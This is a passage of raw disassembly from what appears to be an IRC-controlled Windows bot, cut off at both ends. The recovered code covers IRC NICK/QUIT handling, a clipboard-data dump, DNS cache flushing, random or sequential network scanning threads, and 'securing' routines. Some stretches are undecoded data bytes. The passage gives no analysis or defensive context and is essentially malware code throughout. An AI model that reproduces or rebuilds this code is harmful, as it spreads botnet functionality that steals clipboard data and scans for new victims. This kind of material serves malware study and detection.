loc_410F0F ; --------------------------------------------------------------------------- loc_411921: ; CODE XREF: seg000:0040E64Ej ; seg000:0040E665j push edi push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC push edi push offset dword_433C74 jmp loc_41103B ; --------------------------------------------------------------------------- loc_41193A: ; CODE XREF: seg000:0040E613j ; seg000:0040E628j mov al, ds:byte_42766A mov [ebp+8], ebx cmp al, bl mov edx, offset byte_42766A jz loc_40D1FD mov ecx, edx loc_411951: ; CODE XREF: seg000:00411959j inc dword ptr [ebp+8] add ecx, 0Bh cmp [ecx], bl jnz short loc_411951 cmp al, bl jz loc_40D1FD mov [ebp+20h], edx loc_411966: ; CODE XREF: seg000:00411C24j push 8 call sub_4151C1 pop ecx mov ecx, eax mov eax, 190h cdq idiv dword ptr [ebp+8] add eax, ecx cmp eax, 12Ch jle short loc_4119B5 push ecx lea eax, [ebp-2C8h] push offset dword_434DC8 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 20h jmp loc_411C1B ; --------------------------------------------------------------------------- loc_4119B5: ; CODE XREF: seg000:00411980j or dword ptr [ebp-300h], 0FFFFFFFFh cmp ds:dword_427300, ebx mov dword ptr [ebp-304h], 64h mov dword ptr [ebp-318h], 5 mov dword ptr [ebp-314h], 1F4h mov [ebp+8], ebx jz short loc_411A26 mov eax, [ebp+20h] mov edi, offset dword_427300 lea esi, [eax-0Ah] loc_4119F0: ; CODE XREF: seg000:00411A08j lea eax, [edi-28h] push esi push eax call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_411A0C inc dword ptr [ebp+8] add edi, 3Ch cmp [edi], ebx jnz short loc_4119F0 jmp short loc_411A26 ; --------------------------------------------------------------------------- loc_411A0C: ; CODE XREF: seg000:004119FEj mov eax, [ebp+8] mov ecx, eax mov [ebp-300h], eax imul ecx, 3Ch mov ecx, ds:dword_427300[ecx] mov [ebp-31Ch], ecx loc_411A26: ; CODE XREF: seg000:004119E3j ; seg000:00411A0Aj cmp [ebp-31Ch], ebx jz loc_411C2F push 10h lea eax, [ebp+18h] pop esi push eax lea eax, [ebp-2D8h] push eax mov [ebp+18h], esi push dword ptr [ebp+0Ch] call ds:dword_43A31C ; getsockname mov al, [ebp-9B3h] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-2D4h], eax push dword ptr [ebp-2D4h] call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp-430h] push eax call sub_416D20 xor eax, eax cmp [ebp-9B3h], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-430h] push eax call sub_417020 add esp, 14h cmp edi, ebx mov [ebp+2Fh], bl jle short loc_411AC8 loc_411AA6: ; CODE XREF: seg000:00411AC6j cmp eax, ebx jz short loc_411AC8 mov byte ptr [eax], 78h lea eax, [ebp-430h] push 30h push eax call sub_417020 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_411AA6 loc_411AC8: ; CODE XREF: seg000:00411AA4j ; seg000:00411AA8j mov eax, [ebp+0Ch] push dword ptr [ebp-8Ch] mov esi, [ebp-4] mov [ebp-320h], eax mov eax, [ebp-8] mov edi, 80h mov [ebp-2F4h], eax lea eax, [ebp-420h] push edi push eax mov dword ptr [ebp-2F0h], 1 mov [ebp-2F8h], esi call sub_415A4A push offset byte_438F9C push offset aSf1 ; "#sf1" call sub_4158F0 add esp, 14h test eax, eax jz short loc_411B32 push offset aSf1 ; "#sf1" lea eax, [ebp-3A0h] push edi push eax call sub_415A4A add esp, 0Ch jmp short loc_411B38 ; --------------------------------------------------------------------------- loc_411B32: ; CODE XREF: seg000:00411B19j mov [ebp-3A0h], bl loc_411B38: ; CODE XREF: seg000:00411B30j cmp [ebp-2F0h], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_411B4A mov eax, offset aSequential ; "Sequential" loc_411B4A: ; CODE XREF: seg000:00411B43j push dword ptr [ebp-304h] lea ecx, [ebp-430h] push dword ptr [ebp-314h] push dword ptr [ebp-318h] push dword ptr [ebp-31Ch] push ecx push eax lea eax, [ebp-2C8h] push offset dword_433BF8 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 8 push eax call sub_414F79 add esp, 2Ch mov [ebp-310h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-430h] push ebx push eax push offset sub_407983 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-310h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_411BD4 loc_411BC2: ; CODE XREF: seg000:00411BD2j cmp [ebp-2ECh], ebx jnz short loc_411BEF push 32h call ds:dword_421060 ; Sleep jmp short loc_411BC2 ; --------------------------------------------------------------------------- loc_411BD4: ; CODE XREF: seg000:00411BC0j call ds:dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp-2C8h] push offset dword_434CA4 push eax call sub_4154CD add esp, 0Ch loc_411BEF: ; CODE XREF: seg000:00411BC8j cmp [ebp-8], ebx jnz short loc_411C0E push ebx lea eax, [ebp-2C8h] push esi push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h loc_411C0E: ; CODE XREF: seg000:00411BF2j lea eax, [ebp-2C8h] push eax call sub_40B151 pop ecx loc_411C1B: ; CODE XREF: seg000:004119B0j add dword ptr [ebp+20h], 0Bh mov eax, [ebp+20h] cmp [eax], bl jnz loc_411966 jmp loc_40D1FD ; --------------------------------------------------------------------------- loc_411C2F: ; CODE XREF: seg000:0040FE13j ; seg000:00411A2Cj push offset dword_433BAC jmp loc_412012 ; --------------------------------------------------------------------------- loc_411C39: ; CODE XREF: seg000:0040E5E9j ; seg000:0040E5FEj push 4 call sub_4151C1 test eax, eax pop ecx jle short loc_411C4F push offset unk_433B78 jmp loc_40EB8B ; --------------------------------------------------------------------------- loc_411C4F: ; CODE XREF: seg000:00411C43j mov eax, [ebp+esi-90h] cmp eax, ebx jz short loc_411C72 push eax mov edi, 104h lea eax, [ebp-804h] push edi push eax call sub_415A4A add esp, 0Ch jmp short near ptr loc_411C85+1 ; --------------------------------------------------------------------------- loc_411C72: ; CODE XREF: seg000:00411C58j mov edi, 104h lea eax, [ebp-804h] push edi push eax push ebx call near ptr 3D0000h loc_411C85: ; CODE XREF: seg000:00411C70j fimul dword ptr [ebx-8BCA4Ch] ; --------------------------------------------------------------------------- db 0FFh dd 75F33BFFh, 0C1B8BE05h, 8D560042h, 0FFF90085h, 0E85057FFh dd 3DA6h, 42C150A1h, 0FF7F6A00h, 0FFFF74B5h, 0C8589FFh dd 8BFFFFFAh, 9D890C45h, 0FFFFFA08h, 0F7F88589h, 858DFFFFh dd 0FFFFFA10h, 504EE850h, 458B0000h, 908589FCh, 8BFFFFFAh dd 8589F845h, 0FFFFFA94h, 0F900858Dh, 8D50FFFFh, 0FFF7FC85h dd 858D50FFh, 0FFFFFD38h, 0FA0CB5FFh, 0BC68FFFFh, 50004278h dd 37C4E8h, 858D5300h, 0FFFFFD38h, 0E850046Ah, 3261h, 8938C483h dd 0FFFA0485h, 0F0458DFFh, 0F8858D50h, 53FFFFF7h, 6C226850h dd 53530040h, 108C15FFh, 8D8B0042h, 0FFFFFA04h, 234C969h dd 0C33B0000h, 0F51C8189h, 16740043h, 0FA989D39h, 850FFFFFh dd 0FFFFCF4Bh, 15FF326Ah, 421060h, 15FFEAEBh, 421088h dd 3B2C6850h, 21E90043h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: seg000:0040E5BFj ; seg000:0040E5D4j mov edi, [ebp+esi-90h] cmp edi, ebx jz short loc_411D96 push edi call sub_415A3F test eax, eax pop ecx jz short loc_411D96 push edi call sub_415A3F pop ecx jmp short loc_411D9B ; --------------------------------------------------------------------------- loc_411D96: ; CODE XREF: seg000:00411D80j ; seg000:00411D8Bj mov eax, ds:dword_42C154 loc_411D9B: ; CODE XREF: seg000:00411D94j mov esi, [ebp+esi-8Ch] mov [ebp-584h], eax xor eax, eax cmp [ebp-9B0h], bl setz al cmp esi, ebx mov [ebp-570h], eax jz short loc_411DCE lea eax, [ebp-688h] push esi push eax call sub_4154CD pop ecx pop ecx jmp short loc_411DF9 ; --------------------------------------------------------------------------- loc_411DCE: ; CODE XREF: seg000:00411DBBj lea eax, [ebp-3E8h] push 104h push eax call near ptr 3D0000h adc dword ptr [ebx+53h], 0FD2C858Dh ; --------------------------------------------------------------------------- dw 0FFFFh ; --------------------------------------------------------------------------- push ebx push eax lea eax, [ebp-3E8h] push eax call sub_417328 add esp, 14h loc_411DF9: ; CODE XREF: seg000:00411DCCj lea eax, [ebp-688h] push eax call sub_415CD0 cmp byte ptr [ebp+eax-689h], 5Ch pop ecx jnz short loc_411E24 lea eax, [ebp-688h] push eax call sub_415CD0 pop ecx mov [ebp+eax-689h], bl loc_411E24: ; CODE XREF: seg000:00411E0Ej push dword ptr [ebp-8Ch] mov esi, [ebp+0Ch] lea eax, [ebp-910h] mov [ebp-914h], esi push 80h push eax call sub_415A4A mov eax, [ebp-8] mov edi, [ebp-4] add esp, 0Ch mov [ebp-574h], eax lea eax, [ebp-688h] mov [ebp-578h], edi push eax push dword ptr [ebp-584h] push esi call sub_40A155 pop ecx push eax lea eax, [ebp-2C8h] push offset dword_42778C push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 3 push eax call sub_414F79 add esp, 20h mov [ebp-57Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-914h] push ebx push eax push offset sub_405B07 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-57Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_411ED8 loc_411EC6: ; CODE XREF: seg000:00411ED6j cmp [ebp-568h], ebx jnz short loc_411EF3 push 32h call ds:dword_421060 ; Sleep jmp short loc_411EC6 ; --------------------------------------------------------------------------- loc_411ED8: ; CODE XREF: seg000:00411EC4j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_433AE0 loc_411EE4: ; CODE XREF: seg000:0041032Dj ; seg000:00410427j lea eax, [ebp-2C8h] push eax call sub_4154CD add esp, 0Ch loc_411EF3: ; CODE XREF: seg000:00410311j ; seg000:0041040Bj ... cmp [ebp-8], ebx jnz loc_412834 push ebx push edi loc_411EFE: ; CODE XREF: seg000:0040FBD9j lea eax, [ebp-2C8h] push eax push dword ptr [ebp-8Ch] push esi jmp loc_40F7B2 ; --------------------------------------------------------------------------- loc_411F11: ; CODE XREF: seg000:0040E595j ; seg000:0040E5AAj mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_411F24 push esi call sub_415A3F jmp short loc_411F2B ; --------------------------------------------------------------------------- loc_411F24: ; CODE XREF: seg000:00411F1Aj push 8 call sub_4151E0 loc_411F2B: ; CODE XREF: seg000:00411F22j cmp eax, ebx pop ecx jz loc_412974 push eax push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4071E3 loc_411F46: ; CODE XREF: seg000:004123D2j add esp, 10h jmp loc_412974 ; --------------------------------------------------------------------------- loc_411F4E: ; CODE XREF: seg000:0040E56Bj ; seg000:0040E580j mov eax, ds:dword_43A2A0 cmp eax, ebx jz short loc_411F6B call eax ; DnsFlushResolverCache test eax, eax jz short loc_411F64 push offset unk_433AA8 jmp short loc_411F80 ; --------------------------------------------------------------------------- loc_411F64: ; CODE XREF: seg000:00411F5Bj push offset unk_433A68 jmp short loc_411F80 ; --------------------------------------------------------------------------- loc_411F6B: ; CODE XREF: seg000:00411F55j push offset unk_433A28 jmp short loc_411F80 ; --------------------------------------------------------------------------- loc_411F72: ; CODE XREF: seg000:0040E541j ; seg000:0040E556j call sub_40A077 test eax, eax jz short loc_411F96 push offset unk_4339F0 loc_411F80: ; CODE XREF: seg000:00411F62j ; seg000:00411F69j ... lea eax, [ebp-2C8h] push 200h push eax call sub_415A4A jmp loc_41285B ; --------------------------------------------------------------------------- loc_411F96: ; CODE XREF: seg000:00411F79j push offset unk_4339B0 jmp short loc_411F80 ; --------------------------------------------------------------------------- loc_411F9D: ; CODE XREF: seg000:0040E517j ; seg000:0040E52Cj cmp [ebp-8], ebx jnz short loc_411FBC push ebx push dword ptr [ebp-4] push offset aClipboardData ; "-[Clipboard Data]-" push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h loc_411FBC: ; CODE XREF: seg000:00411FA0j push ebx push dword ptr [ebp-4] call sub_409C76 push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 push offset dword_43396C jmp loc_4122A4 ; --------------------------------------------------------------------------- loc_411FDE: ; CODE XREF: seg000:0040E437j ; seg000:0040E44Cj push 7 call sub_4151C1 test eax, eax pop ecx jle short loc_411FF1 push offset dword_433930 jmp short loc_412012 ; --------------------------------------------------------------------------- loc_411FF1: ; CODE XREF: seg000:00411FE8j push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40A7E1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41200D push offset dword_4338F4 jmp short loc_412012 ; --------------------------------------------------------------------------- loc_41200D: ; CODE XREF: seg000:00412004j push offset dword_4338C0 loc_412012: ; CODE XREF: seg000:0040F976j ; seg000:0040FAA6j ... lea eax, [ebp-2C8h] push eax call sub_4154CD pop ecx pop ecx jmp loc_40F795 ; --------------------------------------------------------------------------- loc_412025: ; CODE XREF: seg000:0040E40Dj ; seg000:0040E422j push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_409663 jmp loc_40D1FA ; --------------------------------------------------------------------------- loc_41203E: ; CODE XREF: seg000:0040E3E3j ; seg000:0040E3F8j push dword ptr [ebp+esi-90h] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40C4F9 jmp loc_40D1FA ; --------------------------------------------------------------------------- loc_41205B: ; CODE XREF: seg000:0040E3B9j ; seg000:0040E3CEj or edi, 0FFFFFFFFh call ds:dword_42104C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi-90h] cmp esi, ebx mov [ebp+8], eax jz short loc_412084 push esi call sub_415A3F pop ecx mov edi, eax loc_412084: ; CODE XREF: seg000:00412079j mov eax, [ebp+8] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_41209D cmp edi, 0FFFFFFFFh jnz loc_412974 loc_41209D: ; CODE XREF: seg000:00412092j push ebx call sub_40A996 push eax lea eax, [ebp-2C8h] push offset dword_433894 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 lea eax, [ebp-2C8h] push eax call sub_40B151 jmp loc_410162 ; --------------------------------------------------------------------------- loc_4120DF: ; CODE XREF: seg000:0040E38Fj ; seg000:0040E3A4j push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4085B7 lea eax, [ebp-2C8h] push offset unk_433860 push eax call sub_4154CD add esp, 14h jmp loc_40ECA7 ; --------------------------------------------------------------------------- loc_412109: ; CODE XREF: seg000:0040E365j ; seg000:0040E37Aj push 1Eh call sub_4151C1 test eax, eax pop ecx jle short loc_412132 cmp [ebp-8], ebx jnz loc_40D1FD push ebx push dword ptr [ebp-4] push offset dword_43382C push dword ptr [ebp-8Ch] jmp loc_40D75B ; --------------------------------------------------------------------------- loc_412132: ; CODE XREF: seg000:00412113j push dword ptr [ebp-8Ch] lea eax, [ebp-4DCh] push 80h push eax call sub_415A4A mov eax, [ebp+0Ch] mov esi, [ebp+esi-90h] mov [ebp-4E0h], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-450h], eax mov [ebp-458h], ebx jz short loc_412193 push esi push offset aFull ; "full" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_412193 mov dword ptr [ebp-458h], 1 loc_412193: ; CODE XREF: seg000:00412176j ; seg000:00412187j lea eax, [ebp-2C8h] push offset dword_4337F0 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 1Eh push eax call sub_414F79 add esp, 14h mov [ebp-45Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4E0h] push ebx push eax push offset sub_413F69 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-45Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_412201 loc_4121EB: ; CODE XREF: seg000:004121FFj cmp [ebp-44Ch], ebx jnz loc_412834 push 32h call ds:dword_421060 ; Sleep jmp short loc_4121EB ; --------------------------------------------------------------------------- loc_412201: ; CODE XREF: seg000:004121E9j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset dword_4337A0 jmp loc_412825 ; --------------------------------------------------------------------------- loc_412212: ; CODE XREF: seg000:0040E33Bj ; seg000:0040E350j cmp [ebp-8], ebx jnz short loc_412231 push ebx push dword ptr [ebp-4] push offset dword_433774 push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h loc_412231: ; CODE XREF: seg000:00412215j push dword ptr [ebp+0Ch] call ds:dword_43A410 ; closesocket call ds:dword_43A2D8 ; WSACleanup call sub_409DF9 push ebx call ds:dword_421114 ; ExitProcess loc_41224C: ; CODE XREF: seg000:0040E311j ; seg000:0040E326j push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push eax call sub_40AAB5 pop ecx pop ecx push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 push offset dword_433748 jmp short loc_4122A4 ; --------------------------------------------------------------------------- loc_412277: ; CODE XREF: seg000:0040E2E7j ; seg000:0040E2FCj push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_40AD69 add esp, 0Ch push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 push offset dword_43371C loc_4122A4: ; CODE XREF: seg000:00411FD9j ; seg000:00412275j call sub_40B151 jmp loc_410F14 ; --------------------------------------------------------------------------- loc_4122AE: ; CODE XREF: seg000:0040E2BDj ; seg000:0040E2D2j push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40B1F1 jmp loc_40D1FA ; --------------------------------------------------------------------------- loc_4122C7: ; CODE XREF: seg000:0040E293j ; seg000:0040E2A8j cmp [ebp-0Ch], ebx mov [ebp-374h], bl jz short loc_412306 mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_412306 push esi push dword ptr [ebp-0Ch] call sub_415AA0 pop ecx cmp eax, ebx pop ecx jz short loc_412306 push eax push offset aS_1 ; "%s" lea eax, [ebp-374h] push 80h push eax call sub_415A4A add esp, 10h loc_412306: ; CODE XREF: seg000:004122D0j ; seg000:004122DBj ... push dword ptr [ebp-8Ch] lea eax, [ebp-3F4h] push 80h push eax call sub_415A4A mov eax, [ebp+0Ch] push offset dword_4336F0 mov [ebp-3F8h], eax mov eax, [ebp-4] mov [ebp-2F0h], eax mov eax, [ebp-8] mov [ebp-2ECh], eax lea eax, [ebp-2C8h] push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 1Ch push eax call sub_414F79 add esp, 20h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3F8h] push ebx push eax push offset sub_40B263 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_4123A6 loc_412390: ; CODE XREF: seg000:004123A4j cmp [ebp-2E8h], ebx jnz loc_40D1FD push 32h call ds:dword_421060 ; Sleep jmp short loc_412390 ; --------------------------------------------------------------------------- loc_4123A6: ; CODE XREF: seg000:0041238Ej call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset dword_4336A4 jmp loc_40D3E6 ; --------------------------------------------------------------------------- loc_4123B7: ; CODE XREF: seg000:0040E269j ; seg000:0040E27Ej push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40B0D9 push offset dword_433678 call sub_40B151 jmp loc_411F46 ; --------------------------------------------------------------------------- loc_4123D7: ; CODE XREF: seg000:0040E23Fj ; seg000:0040E254j push dword ptr [ebp-8Ch] lea eax, [ebp-4DCh] push 80h push eax call sub_415A4A mov eax, [ebp+0Ch] mov esi, [ebp+esi-90h] mov [ebp-4E0h], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-450h], eax jz short loc_412431 push offset dword_433674 push esi call sub_4158F0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp-458h], eax jmp short loc_412437 ; --------------------------------------------------------------------------- loc_412431: ; CODE XREF: seg000:00412415j mov [ebp-458h], ebx loc_412437: ; CODE XREF: seg000:0041242Fj lea eax, [ebp-2C8h] push offset dword_433644 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 1Fh push eax call sub_414F79 add esp, 14h mov [ebp-45Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4E0h] push ebx push eax push offset dword_414FE4 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-45Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_4124A1 loc_41248F: ; CODE XREF: seg000:0041249Fj cmp [ebp-44Ch], ebx jnz short loc_4124BC push 32h call ds:dword_421060 ; Sleep jmp short loc_41248F ; --------------------------------------------------------------------------- loc_4124A1: ; CODE XREF: seg000:0041248Dj call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset dword_4335F8 loc_4124AD: ; CODE XREF: seg000:0041135Aj ; seg000:00411473j lea eax, [ebp-2C8h] push eax call sub_4154CD add esp, 0Ch loc_4124BC: ; CODE XREF: seg000:0040F6FAj ; seg000:0040F71Cj ... lea eax, [ebp-2C8h] push eax jmp loc_40E4FD ; --------------------------------------------------------------------------- loc_4124C8: ; CODE XREF: seg000:0040E1C3j ; seg000:0040E1D8j push offset aIds443 ; "ids443" lea eax, [ebp-2C8h] push offset dword_4335CC push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 20h jmp loc_40EF8B ; --------------------------------------------------------------------------- loc_4124FF: ; CODE XREF: seg000:0040E199j ; seg000:0040E1AEj push ds:dword_4687F8 call sub_40A996 push eax lea eax, [ebp-2C8h] push offset dword_43358C push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 24h jmp loc_40EF8B ; --------------------------------------------------------------------------- loc_41253D: ; CODE XREF: seg000:0040E16Fj ; seg000:0040E184j mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_41256F cmp [ebp-0Ch], ebx jz short loc_41257E push esi push dword ptr [ebp-0Ch] call sub_415AA0 pop ecx cmp eax, ebx pop ecx jz short loc_41257E push eax push offset aQuitS ; "QUIT :%s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC add esp, 0Ch jmp short loc_41257E ; --------------------------------------------------------------------------- loc_41256F: ; CODE XREF: seg000:00412546j push offset aQuitLater ; "QUIT :later\r\n" push dword ptr [ebp+0Ch] call sub_412CEC pop ecx pop ecx loc_41257E: ; CODE XREF: seg000:0041254Bj ; seg000:0041255Aj ... push 0FFFFFFFEh jmp loc_40D1FF ; --------------------------------------------------------------------------- loc_412585: ; CODE XREF: seg000:0040E145j ; seg000:0040E15Aj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push dword ptr [ebp+0Ch] call sub_412CEC push offset dword_433538 call sub_40B151 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40D200 ; --------------------------------------------------------------------------- loc_4125A7: ; CODE XREF: seg000:0040E11Bj ; seg000:0040E130j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push dword ptr [ebp+0Ch] call sub_412CEC push offset dword_4334F4 call sub_40B151 add esp, 0Ch xor eax, eax jmp loc_40D200 ; --------------------------------------------------------------------------- loc_4125C8: ; CODE XREF: seg000:0040E0F1j ; seg000:0040E106j push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_407119 jmp loc_410E7D ; --------------------------------------------------------------------------- loc_4125DE: ; CODE XREF: seg000:0040E04Cj ; seg000:0040E061j push dword ptr [ebp+esi-90h] push 1Eh push offset dword_4334E4 push offset dword_4334D8 jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_4125F6: ; CODE XREF: seg000:0040E022j ; seg000:0040E037j push dword ptr [ebp+esi-90h] push 1Bh push offset dword_4334CC push offset dword_4334BC jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_41260E: ; CODE XREF: seg000:0040DE4Dj ; seg000:0040DE62j mov edi, [ebp+esi-90h] cmp edi, ebx jz short loc_41262D push edi call sub_415A3F test eax, eax pop ecx jz short loc_41262D push edi call sub_415A3F pop ecx jmp short loc_412632 ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: seg000:00412617j ; seg000:00412622j mov eax, ds:dword_42C14C loc_412632: ; CODE XREF: seg000:0041262Bj mov esi, [ebp+esi-8Ch] mov [ebp-464h], eax cmp esi, ebx jz short loc_412657 push esi loc_412644: ; CODE XREF: seg000:00412666j lea eax, [ebp-474h] push 10h push eax call sub_415A4A add esp, 0Ch jmp short loc_41266E ; --------------------------------------------------------------------------- loc_412657: ; CODE XREF: seg000:00412641j cmp [ebp-9B3h], bl jz short loc_412668 lea eax, [ebp-0C4h] push eax jmp short loc_412644 ; --------------------------------------------------------------------------- loc_412668: ; CODE XREF: seg000:0041265Dj mov [ebp-474h], bl loc_41266E: ; CODE XREF: seg000:00412655j mov eax, [ebp-4] push dword ptr [ebp-8Ch] mov esi, [ebp+0Ch] mov [ebp-458h], eax mov eax, [ebp-8] push 80h mov [ebp-454h], eax lea eax, [ebp-4F4h] push eax mov [ebp-4F8h], esi call sub_415A4A add esp, 0Ch push dword ptr [ebp-464h] push esi call sub_40A155 pop ecx push eax lea eax, [ebp-2C8h] push offset unk_427D24 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 11h push eax call sub_414F79 add esp, 1Ch mov [ebp-460h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4F8h] push ebx push eax push offset loc_407FEE push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-460h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_41271F loc_412709: ; CODE XREF: seg000:0041271Dj cmp [ebp-450h], ebx jnz loc_40D1FD push 32h call ds:dword_421060 ; Sleep jmp short loc_412709 ; --------------------------------------------------------------------------- loc_41271F: ; CODE XREF: seg000:00412707j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_433470 jmp loc_40D3E6 ; --------------------------------------------------------------------------- loc_412730: ; CODE XREF: seg000:0040DDF9j ; seg000:0040DE0Ej ... push edi push offset aSecure ; "secure" call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_412758 push edi push offset aSec ; "sec" call sub_4158F0 pop ecx mov [ebp-458h], ebx test eax, eax pop ecx jnz short loc_412762 loc_412758: ; CODE XREF: seg000:0041273Fj mov dword ptr [ebp-458h], 1 loc_412762: ; CODE XREF: seg000:00412756j push dword ptr [ebp-8Ch] lea eax, [ebp-4DCh] push 80h push eax call sub_415A4A mov eax, [ebp+0Ch] add esp, 0Ch cmp [ebp-458h], ebx mov [ebp-4E0h], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] mov [ebp-450h], eax mov eax, offset aSecuring ; "Securing" jnz short loc_4127A9 mov eax, offset aUnsecuring ; "Unsecuring" loc_4127A9: ; CODE XREF: seg000:004127A2j push eax push offset dword_433420 lea eax, [ebp-2C8h] push 200h push eax call sub_415A4A push ebx lea eax, [ebp-2C8h] push 19h push eax call sub_414F79 add esp, 1Ch mov [ebp-45Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4E0h] push ebx push eax push offset sub_414640 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-45Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_412819 loc_412807: ; CODE XREF: seg000:00412817j cmp [ebp-44Ch], ebx jnz short loc_412834 push 32h call ds:dword_421060 ; Sleep jmp short loc_412807 ; --------------------------------------------------------------------------- loc_412819: ; CODE XREF: seg000:00412805j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_4333D0 loc_412825: ; CODE XREF: seg000:00410A9Dj ; seg000:0041156Fj ... lea eax, [ebp-2C8h] push eax call sub_4154CD add esp, 0Ch loc_412834: ; CODE XREF: seg000:0040F798j ; seg000:0040F7BAj ... lea eax, [ebp-2C8h] push eax call sub_40B151 jmp loc_40D3EC ; --------------------------------------------------------------------------- loc_412845: ; CODE XREF: seg000:0040DDCFj ; seg000:0040DDE4j push offset aEnz9_9b34 ; "enz 9.9b34" push offset dword_4333AC loc_41284F: ; CODE XREF: seg000:0041130Fj ; seg000:00411623j ... lea eax, [ebp-2C8h] push eax call sub_4154CD loc_41285B: ; CODE XREF: seg000:00411F91j add esp, 0Ch jmp 